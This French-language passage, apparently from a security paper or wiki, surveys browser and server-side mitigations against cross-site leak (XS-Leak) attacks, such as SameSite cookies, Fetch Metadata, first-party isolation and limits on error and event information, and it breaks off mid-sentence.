* **Demandes JavaScript**. Les demandes JavaScript de source croisée sont souvent utilisées dans les attaques XS-Leak, car un attaquant a un contrôle précis sur la demande émise. Cependant, comme ces demandes ne sont pas activées par CORS, elles sont soumises aux mêmes restrictions que les demandes envoyées par des éléments HTML, tels que des scripts ou des images. Ainsi, l'impact de cette technique de fuite peut également être **atténué par CORP et CORB**.
|
|
|
|
Méthodes plus génériques :
|
|
|
|
* **Métadonnées Fetch**. Ces en-têtes de demande permettent aux propriétaires de serveurs de mieux comprendre comment le navigateur de l'utilisateur a provoqué une demande spécifique. Dans Chrome, les en-têtes Sec-Fetch-\* sont automatiquement ajoutés à chaque demande et fournissent des métadonnées sur la provenance de la demande. Par exemple, Sec-Fetch-Dest: image a été déclenché à partir d'un élément image. Les applications Web peuvent ensuite choisir de bloquer les demandes en fonction de ces informations.
|
|
* **Cookies Same-Site**. Le drapeau Same-Site permet aux sites Web de déclarer **si un cookie doit être restreint au contexte same-site ou first-party**. Tous les principaux navigateurs prennent en charge les cookies Same-Site. Dans GC, les cookies sans l'attribut sont désormais Lax par défaut. Pour les XS-Leaks, **les cookies Same-Site limitent considérablement les possibilités d'attaque de fuite**. En revanche, les techniques de fuite qui reposent sur **`window.open` fonctionnent toujours avec `SameSite=Lax`**. Les sites Web qui utilisent **d'autres méthodes d'authentification**, telles que les certificats côté client et l'authentification HTTP, **restent vulnérables**.
|
|
* **Désolidarisation des identificateurs de source croisée (COIU)**. COIU, également connu sous le nom d'isolation de première partie (FPI), est une fonctionnalité de sécurité facultative que les utilisateurs peuvent activer dans les paramètres experts de FF (about:config) et qui a été initialement introduite dans Tor Browser. Dans une vue abstraite, c'est un contexte same-site étendu. Il **lie plusieurs ressources** (par exemple, les cookies, le cache, les stockages côté client) **à la première partie** au lieu de les partager entre tous les sites visités. S'il est activé, COIU diminue considérablement l'applicabilité des XS-Leaks, car seules les méthodes utilisant des pop-ups sont encore possibles pour répondre à l'exigence de première partie de la politique.
|
|
* **Protections de suivi**. Apple a mis en place un mécanisme de confidentialité appelé **Intelligent Tracking Prevention (ITP)** dans SA qui vise à lutter contre le suivi inter-sites en limitant les capacités des cookies et d'autres API Web. Dans les versions plus récentes de SA, ITP bloque tous les cookies tiers par défaut sans exception \[74]. Ce blocage empêche toutes les fuites qui ne sont pas basées sur des pop-ups. FF a adopté une approche similaire avec Enhanced Tracking Prevention (ETP), mais ils ne bloquent que des cookies tiers spécifiques appartenant à des fournisseurs de suivi. Dans le contexte des XS-Leaks, ETP ne atténue que les techniques de fuite qui ciblent ces domaines de suivi.
|
|
* **Extensions de navigateur**. Les utilisateurs conscients de la sécurité peuvent utiliser des **extensions de navigateur pour empêcher certaines méthodes d'inclusion**.
|
|
|
|
### Mesures d'atténuation des techniques de fuite
|
|
|
|
* **Gestionnaire d'événements**. La **mesure d'atténuation la plus efficace** pour cette technique de fuite serait de **les refuser toutes**, mais cela casserait la majorité des applications Web sur Internet. Nous proposons donc de **réduire le nombre d'informations nécessaires qui peuvent être recueillies dans les événements**. Par exemple, l'événement de violation de CSP ne doit pas contenir l'URL de destination de redirection dans le champ blockedURI. Ce comportement est implémenté dans FF et dans les versions plus récentes de GC - SA reste vulnérable.
|
|
* **Messages d'erreur**. Pour atténuer les XS-Leaks basés sur la technique de fuite des messages d'erreur, il y a deux exigences majeures. Premièrement, **les messages d'erreur ne doivent pas contenir d'informations détaillées**, de manière similaire aux messages de gestionnaire d'événements. Deuxièmement, les navigateurs doivent **minimiser les occurrences de messages d'erreur**. Les XS-Leaks tels que SRI Error, ContentDocument XFO ou Fetch Redirect détectent si un message d'erreur est lancé ou non.
|
|
* **Limites globales**. La correction des techniques de fuite qui abusent des limites globales est relativement complexe car elles reposent sur des restrictions physiques. La recommandation générale est donc de **restreindre les limites globales sur une petite base par site**. Si la limite globale est de 1, comme pour l'API de paiement, l'attaquant peut tenter silencieusement d'activer l'interface utilisateur de paiement Web à tout moment, ce qui ne réussit que si l'interface utilisateur n'est pas utilisée simultanément par un autre onglet. Nous recommandons d'accéder à l'API de paiement
|